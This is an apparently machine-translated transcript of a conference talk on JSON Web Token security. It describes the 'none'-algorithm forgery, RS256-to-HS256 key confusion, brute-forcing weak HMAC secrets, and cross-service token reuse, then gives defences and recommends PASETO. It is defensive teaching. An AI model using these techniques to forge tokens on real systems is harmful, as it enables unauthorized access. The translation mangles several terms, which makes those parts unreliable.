
First of all, thank you for coming here, because every conference, the last day after lunch, is a difficult moment for most participants and prelegents, because the food that comes to mind the most is the food they just took. I am very happy that you are here. Today I would like to tell you about JSON Web Tokens, and a few basic problems, rather than more advanced ones, which are related to them. And on the way I will try to tell you and a few tricks on how to deal with these problems. But before we start, Jason Web Token, I have a question for you. Does anyone know how to pronounce this abbreviation? The abbreviation is JWT. So
the question is for you. Does anyone know how to pronounce this abbreviation correctly? One of the versions that come from the room is correct. Namely, this abbreviation is simply called JOT. And what is interesting is not people who use it, not even I came up with it. However, it is one of the first things that are explained in RFC about this data format. JOT. JOT. In English it's written J-O-T. So if you have one thing to remember from this presentation, it will be a good thing to remember. If you are in the company talking about these tokens, it's worth knowing how to say it. What are these tokens used for? These tokens are used in an increasing number of web
standards and protocols. The idea behind them is to have a well-specified and transferable data format that would enable transferring various kinds of assertions about objects, users, services in such a way that they could be placed in cookies and URLs. It would be nice if these tokens could have various guarantees related to their integrality and halfness. However, the basic goal is and the format that fits well with architecture and web technologies. What usually appears in these tokens is called "claims" in English. I don't have a good Polish translation for this word. If someone has it, I will gladly read it after the presentation. But it's about, in short, various kinds of statements about various kinds of objects.
I know it sounds quite mysterious, But that's what the standard gives us. However, such a protocol that contributed to a very large increase in popularity of Jot's is the OpenID Connect protocol, which you probably know or do not know about. logging into various services using their social media accounts such as Facebook, LinkedIn, Twitter or Gmail. The OpenDi Connect protocol is based on OAuth2. It requires a strict sense of using JOTs, but as they become more and more popular, these JOTs are also used very often in OAuth. Now, before I show you what a token looks like and what is hidden behind it, it turns out that JSON Web Token is only part of a larger ecosystem and a larger set of specifications,
which are called JSON Object Signing and Encryption. To protect our tokens we have a specification called JSON Web Signature, in short JWS. There is no specified expression here, so we have to use English. However, this specification allows us to sign the content of such a token. and thus ensure its integrity. Sometimes the data we send in these tokens we would like to have not so much integrity and that various services and applications that exchange these tokens between each other had some kind of guarantee about who put them out and whether they were modified along the way. Sometimes I would also like to ensure the credibility of what and we can use a standard called JSON Web Encryption. These
two nice things about reading documents tell us how to write the signatures and possibly the code in the appropriate format so that the receiver could easily translate it. However, it does not tell us how to propagate information about the keys that were used to calculate the appropriate signatures or the order of the codes. And we have another specification called JSON Webkeys and it tells us It tells us how to represent keys. However, as you can probably guess, there are quite a few algorithms that can be used to count signatures or encrypt something. These algorithms are largely orthogonal to the way we use and represent keys. Therefore, there is another standard called JSON Web Algorithms. It describes what kind of algorithms can be used
for encryption, and then you can calculate signatures based on HMAC or asymmetric cryptography. And only if you want to read all these specifications, only if you read all this, you can take the last RFC 7519, which I mentioned at the beginning. And then you will have an idea of how this whole machinery works and fits to you. Having a token format is very nice, but it would be nice to have some image of where these tokens can find their use. And here at the moment, two canonical cases of use are: One is safe cookies, so when your browser works with some web application, then often a cookie comes back from this web application. This cookie sometimes has the form of a simple line of numbers, which is an
identifier of the session, which is kept somewhere on the server's page, but not always only such identifiers travel in cookies. Sometimes we want to send some data to the browser so that it is stored there and then so that it can return to our application. And Jot can be a pretty good format to such a cookie, I mean, Jot can be used to store data that we want in this cookie, send it to the browser and return it. This format was created, among other things, for this use. The second, however, use that I mentioned, which has become so popular is OpenID Connect. And OpenID Connect is Another specification that allows applications to easily and standardize the handling of user
verification, but on the other hand, also access through applications to some user resources in external services, most often hidden somewhere behind some web API. And here in this context there are There are two types of tokens in OpenID Connect that are intended for a few different users. I wanted to draw a context here, which I will return to later. IDP, which is up there, is an Identity Provider. This is a service that verifies the user identity and confirms to the application that the user who is trying to log in is Jan Kowalski. Facebook is known for its login. This token contains this kind of information and is intended for the application. It is called an ID token. However, in the context of this interaction, which you probably
saw often using various types of applications, who want to have access to your Google Calendar or your Facebook friends list. You often see a screen like this: "The ABCD application asks for access to your Google Calendar". When you click on it, you not only log in to the application using Facebook, but you also provide the application to which you log in, with the permission to so that this application uses resources in your name using the Facebook API. And this is what the second token is for, which is called an access token. And this token, unlike the ID token, which is intended for of our application, it is intended for some external API. OpenID Connect says that ID tokens must be coded using
JOTs. This is a requirement and it always is. However, these access tokens are not necessarily, but in practice more and more often. This is also the second place where these tokens appear quite often. How does such a token look like? where it is sent either in the URL or in requests and responses. It looks more or less like this. It consists of three parts: The dot is a separator. There are always two dots. There is a dot on the head, the body of the token, i.e. its content, i.e. its information content. It can be the rights, user's ID. We'll look at what it can be. And at the end there is a signature that guarantees us All
these parts are encrypted with base64 URL. There is one small modification to send them in URLs without modification. This means that we don't get any guarantees regarding trust and integrity on the basis of coding. This is just a way of coding. So, when we decode such a token, we get a header, i.e. the first part before the first dot. And usually in this header this element type JOT always appears. But apart from that, we usually have some information about cryptographic algorithms that have been used to either sign or encrypt this token. These identifiers that appear here, there is some logic in them, but this logic sometimes but all these things are specified in the JSON Web Algorithms
specification, which I mentioned earlier. The middle part, however, is the information content I mentioned. The JOT standard provides several types of claims that are and have a specific meaning. Claim, which is called sub, or subject, presents information about the user, for example, in the context of OpenID Connect, ESS, or issuer, identifies the service that this token has issued with the URL. Audience, or out, identifies for whom the given token is It will be quite important later. However, exp, i.e. expiration is, in short, the time after which this token loses its importance. And the last element after the second dot is the signature. In this case, the algorithm used there is the HS256 algorithm. This means that the signature here is based on
HMAC. If you want to play with tokens, decode them and play with signatures, there is a service on the Internet where you can do it in the browser. I will share the slides later. If you want to see what I put into the tokens that were on the slides, I recommend you go to this service, copy the token and see. Most of the problems that The number of algorithms and cryptographic specifications and the number of ways to connect them is very high. It is quite large and makes it easy to get lost in it and implement it in a way that is prone to very simple attacks. So our tokens can be They can be written, but signed.
They can be encrypted, but they can also be signed and encrypted. When it comes to algorithms, they can be signed using HMAC, an algorithm that works with a symmetric key. They can also be signed using asymmetric cryptography, using RSA algorithm in OAP mode, PSS, PKCS 1.5, which I didn't include on the slide because it's not usable at the moment. There are also algorithms such as ASGCM, or elliptical curve based algorithms that can also be used here. If someone wants, you can sign and encrypt such tokens. Now they can be encrypted with a symmetric key algorithm, they can be signed with a symmetric key algorithm, but different. They can be signed with an asymmetric key, they can also be encrypted with an
asymmetric key. The number of combinations is is quite large. However, if we go into encryption with a symmetric and asymmetric key, we have two options. If we encrypt with a symmetric key, we just encrypt the message, i.e. the payload, which is between two dots. However, as you probably know, when it comes to encryption using asymmetric cryptography, you can encrypt a data block there, which is no larger than than a public key, so the only thing we have left is to encrypt, to generate a key with which we encrypt the whole payload and only encrypt this key with the RSI algorithm. I'm really tired of talking about it. But imagine a poor programmer who has to manage it somehow. If
this was not enough, we would have to solve the problem of key distribution. If we use symmetrical cryptography, as in the case of a safe cookie scenario, then not only on the server side there is one key, a symmetrical key known only to the server, and a encrypted or signed cookie is used. When it returns, we can use the same key to decrypt or verify the signature. In the case of OpenID Connect, this process is a bit more complicated, because we have two different tokens, which are intended for two different recipients and they can be signed with completely different keys. And here most often use cryptography asymmetrically with algorithms such as RSA, ECDSA. And here the problem is that public keys, this IDP, for
example Google or Facebook, when it issues such tokens and signs them, it must be able to provide public keys corresponding to private keys that have been used to sign or encrypt and then return to the token, it must be shared with the recipient. In this case, our application is on the left and API is on the right. IDP and API are often managed by one organization. For example, if Facebook issues a token that can be used in the Facebook API, it is their job to do it. It doesn't always have to be like that. Sometimes you can use solutions where you write your API, but you use Facebook as a token exporter and then you have to be able to check
in your API that the token has been signed by Facebook. And now what we will want to do, i.e. our threat model, we will want to fake the token. As attackers, we want to convince the token recipients that the token we send to the application is OK. There are a few simple ways to conduct such attacks. The first way is to read into the specification. When you read into the specification, you will see that there is an algorithm called "None". Therefore, you can try to use it. This algorithm tells us that a given token is not encrypted or signed in any way. This token is signed by the private key RSA and this information is in the header.
payload contains information that should be protected and then we have a signature. And now such a token is sent to the recipient who looks at this header, looks at it, okay, this is the RS256 algorithm, so I will use the RSA algorithm to verify this signature, which is below. To verify this in a simple way, The only thing it has to do is remove the signature because it wants to use the NUN algorithm and replace the header. If you take all these tokens and go to the website jot.io and decode this token, and then decode this token, you will see that they differ only in one thing. Namely, the first one had ALG RS-256, while the
second one has algorithm set to NONE and we removed the signature, because tokens that are not protected in any way should have an empty signature section. And having such a token, we can change the payload in an absolutely random way and send it to The problem is that such behavior is completely consistent with the specifications of the Hose family. If developers implemented the specifications as per the Jota or took a library that is consistent with these specifications, it will behave exactly like this. It is quite a trivial attack vector. The second trick that can be used is possibly a change one cryptographic algorithm to another cryptographic algorithm in the head, but in such a way that further, because let's face it, the simplest
way to avoid this problem is not to use the NAM algorithm. True, in this way our system or our library will no longer be fully consistent with the specification, but I think it's not the worst compromise if we want to avoid a simple attack. However, if we exclude this algorithm type NUN, then further for tokens signed with the private key of the RSA, we can try an attack in which we change the type of token from RS256 to HS256, i.e. a symmetric algorithm. And now let's assume that we have such a token that is signed with a private key, We have its information content and, what's important, we have an RSA signature at the bottom, which we
verify using the public key. The public key is, as you know, public, which is why it is also available for the attacker. What the attacker can try to do here is to try to fake this token. Namely, by changing the algorithm in the header from RS256 to HS256 and by removing the RS signature that was there before and by putting the calculated HMAC there. The problem is that if we manage to do something like this and the application that will verify this token looks at the algorithm in the header and uses the public key RSA to verify, then most likely, when the library is saved, it will use this public key as an HMAC, as a key to verify the HMAC.
The problem is that the attacker also has this key and can easily calculate this HMAC and insert it into the signature section. If we do not defend ourselves against it in any way, then libraries, according to the standard, they will verify such a signature without any problem. At this point, we can easily start modifying the information content of our token and generate signatures. Returning to tokens signed with a key, for example, HMAC, we come out of the construction defects of the specifications, but we enter the implementation shortcomings, i.e. often made mistakes during the implementation of such protocols. Often, programmers They are often encouraged by how APIs look like in various programming languages. When they see that the key is a string type field, they give
it a string. Most often it is a super secret password in which various types of letters are replaced by numbers of another type. but as you probably guessed, the attempt to get back the key is trivial or only a matter of time. You can use a hashcat to get back the key. try to break a symmetric signature under such a token with brute force and at this point we have the whole key and we can fake tokens at will. Practice shows that dictionary attacks are very, very effective. People often do not use keys or passwords with sufficient entropy, but they are words, combinations of words or, as I said, some simple algorithms. Another problem is that HMAC is often used where it is not completely suitable.
HMAC is OK when only one side has the key. When you would like to have an ecosystem of your application, some identity provider and some API that belongs to different companies, i.e. they are in different in different security domains and they can't trust each other. In such cases, HMAC is not a good solution because to have one side that can verify the token issued by many, it must have, to put it simply, the same symmetrical key. So if someone else has our symmetrical key, Unfortunately, we cannot take too much guarantee of security, because we would have to have a long-term trust in the other side. So if various elements of this ecosystem are controlled by various companies, then you have to use cryptography with a
public key. Another problem is that, resulting from the first point, that to break cryptographic algorithms themselves, Using passwords that can be remembered by humans is not enough to guarantee security given by cryptographic algorithms such as AES or HMAC with one of SHA functions. There are too few entropy bits, so one of the solutions to this problem is to use functions that are able to stretch a few entropy bits contained in the hash to as many entropy bits as we need. These functions are called KDFAMI, Key Derivation Function. We have PBKDF2, SCRYPT, ARGON2, B-Crypt, and they are very rarely used. Sometimes it happens that we have to use a password that comes from the user. You can do it, but you have to use
a password that comes from the user. The last attack is taking a token for someone and trying to use it in a completely different place. For example, we have an application that uses tokens issued by some IDP, let's say Google, in some API. This is often the attack that will unfortunately happen to us. Especially if it is not well constructed APIs made by companies that know what they are doing, and constructed by programmers who are not often experts in the field of security. The use of the same token is in a completely different place. The problem we will encounter here is that most often what and the app verifies the token, they check the signature. However, it may be that both API1
and IDP1 will check the signature using the public key IDP1, but if the other API also trusts the same token issuer, which is often true, because token issuers are well-known services such as Google, Facebook or LinkedIn. If you check only the signature, it seems to be very The problem is that these tokens are usually issued after the user agrees to it. However, when the user agrees to the delegation of access rights to its resources, he usually does it for a specific application, a specific resource and a specific set of operations. For example, you agree to read out information about your list of friends, but you do not necessarily give the application the opportunity to invite
new friends. Usually it looks like this: we have a token and in this token there is information about who this token was issued for, so it's a subject, user ID in the IDP system and the expiration date. And now such a token has the advantage that it really fits and you can use it. However, it can most often cause security problems, specifically the escalation of regulations. How to defend yourself against it? You can defend yourself by using claims that are defined in the standard, i.e. verify that the issue is as expected, i.e. it fits the public key. And what is even more important, for example, being an API, we have to verify that the audience, or system for which the token
was issued. We are actually us, that someone sends us a token, someone sends us a token intended for someone completely different. And now how to deal with these problems? A short summary. Do not use the NAN algorithm. When it comes to avoiding the problem of replacing RS-256 with HS-256, you have to agree with yourself and the token exporter that we use only one type of algorithm. When we assume that we support several types of algorithms at once, we will always be subject to If we have to do this, remember to always make sure that we use a different key depending on the type of algorithm. Another thing, let's use HMACs carefully. They have their place where We are both the issuer and the recipient of
the token, but the moment when more than one side is involved in the exchange of these tokens, it is most likely a bad idea. And the last thing, let's look at the claims that are in the tokens and verify them. All the data we have, we will use to make the most complete decision about whether the token is issued by who issued it, who we think has issued this token and for whom it is intended and who it concerns. We sometimes have information about a user from more than one source. We have this information, for example, in the user's session and we have this information in the token. It is worth comparing this information with each other and see if someone is not throwing us
some token that is not for us or does not concern our current user. However, The question is, since the JOT format has a number of shortcomings and a number of defects, the question is whether there are formats that are devoid of these defects. It turns out that in the history of mankind, people have invented quite a lot of different formats of tokens, more or less advanced. One of the simpler and cooler formats of tokens is There are also Fairnet tokens, which were invented by OpenStack. One of their advantages is that they are very simple to build and lack any manipulation of the use of cryptographic algorithms, because there is only one set of cryptographic algorithms. There
is no possibility of playing, changing keys, nothing can be done about it. With VAT, it is a very simple format. It does not specify any claims that we could rely on in a standard way, such as issuer, audience, etc. Iron tokens are another simple format, also based on, just like with Fairnet, only symmetrical cryptography. There is also only one algorithm for As a token format, for example, X509 certificates can be used. They also have a well-specified collection of cryptographic algorithms that can be used there. and they contain many pools that correspond to claims and also contain a mechanism that allows adding any data there via an extension mechanism. At the moment, it is rarely used, but
it is an option if someone has public key infrastructure deployed somewhere. Macaroons is a fairly experimental format invented by which allows several interesting things, for example, delegation of legal entities from one user to another. And the last token format, which was invented strictly to deal with the issue of The problems of the whole HOSE and JOT specification are specifically the tokens called PASETO. In short, it comes from the platform Agnostic Security Tokens. This is a specification that speaks very accurately to the implementation of this token. how they should behave and how cryptographic operations should be performed. We have two applications in Jot, i.e. safe cookies and tokens in the OpenID Connect ecosystem. We have two
types of tokens. One is the so-called local tokens, which are always signed and encrypted. There is no other way. Symmetric key is always used here. We have another version, public tokens, and due to the complications associated with encryption, using cryptography with a public key, they always only and exclusively forget the integrality using signature. This is one element of the specification. There is also another one specifying the versions. There are two versions published. The first version is intended for applications that have to operate from with the help of the well-known cryptographic algorithms such as RSA, AES and SHA. The idea is to make it possible for all operations to use only one variant. So there is AES in CTR mode, HMAC based on SHA384 function and
the RSA signature format is well specified. However, there is a second version in which the author made a very pragmatic choice of cryptographic functions, namely, he said that he will use everything that the Libsodium library gives him. And because of this, the specification says that there is an algorithm for using symmetric encryption, XChacha20 with the code I thought it was just to sound smart, but the idea is to use the Libsodium library, which is very well studied in terms of cryptography and is very easy to use. What does the Paseto token look like? It looks very similar to It can be used in exactly the same places. It has a format that allows you to safely insert it into the
URL and into the cookie. When it comes to headlamps, We also have two dots. First, the version always goes, whether these are classic cryptographic algorithms, whether it is a libsodium. And secondly, we have information about whether it is a local token or public. And on the basis of these two information, both sides are always sure what kind of cryptographic algorithms, what kind of keys should be used to verify the signature and possibly decrypt the decryption of this payload. What goes on is a bit more complicated than what we had in In the Jotas, we had a payload and then a signature. Here we have a data block that contains information about the use of the algorithm of symmetrical cryptography. It
is necessary to have a nonce there, so this nonce is there. There is a encryption program. and MAC messages. Therefore, there is all the information that is needed on the other side to decrypt such a token and verify its authenticity. What is not here on this example, there may be a third dot and after this third dot there may be data that we want to be included in the token in the form of open text, but this part will also be will be verified. And now, when we decode such a token, we will have a heads up immediately based on the fact that this is the second version in the local variant. We will have exact certainty about which cryptographic algorithm was used. As for
Nons, it is encoded somewhere here in this green payload and there are also encrypted Here we do not have the third dot, so something called footer, i.e. information that goes to the encryption algorithm in the form of open text, is not here. I just wanted to point out that this element has been omitted. And now, how does the use of Paseto allow us to get rid of some of the problems I mentioned earlier? Problem 1, i.e. using the NUN algorithm, is solved. Because Paseto does not allow and not using any cryptographic algorithm. Therefore, this problem is solved. The second problem is such a manipulation by the head to confuse us with the algorithm that is used. Here, too, this problem is solved. In PASETO, it
is not possible to perform an attack with the replacement of RS-256 of the HMAC calculation using our public key. Problem number three, i.e. all the developer-operational problems with the HMAC calculation using the public key. The way the specification is formulated solves this problem, so Buśka is smiling. However, API is so structured that if someone really wants it, he can still use it in an incorrect way, although it is very difficult. If you take API, which is also specified in the Paseto specification, then everything will be fine. It will draw the key to the appropriate entropy for you and there will be no possibility of shooting at the foot. The fourth problem is token exchange. Both token
formats are basically the same. Paseto has defined exactly the same claims as Issuer, Subject, Expiration, Audience, etc. All these information on the basis of which we could defend ourselves against an attack on token exchange. All these information are also in Paseto. Therefore, it seems to me that these two formats are absolutely the same. And now, if we talk about conclusions, if you had only three things to remember from this presentation, the first and most important one is how to pronounce the abbreviation, remember about the jots, remember that it turns out that using cryptographic algorithms in real applications is very difficult. And it's not because there are some weaknesses in RSA, AES or in SHA functions. As far as we know, they are fine today
and there are no practical attacks on most of them. However, putting all these elements together in a form that is difficult to implement and there are many such shortcuts that you have to be careful about, The complexity of the specification, the complexity of the implementation is unfortunately at our disadvantage. It is worth remembering that sometimes it is worth looking at alternatives that are many times much, much simpler, but in many cases they will be as much as possible sufficient. And that's all I've prepared for you today. My name is Marcin Hoppe and it was very nice to talk to you today. I will be here until the end of the day, so if anyone would like to
talk about tokens or other things related to cryptography, security, authorization, etc. I will be there. Thank you very much.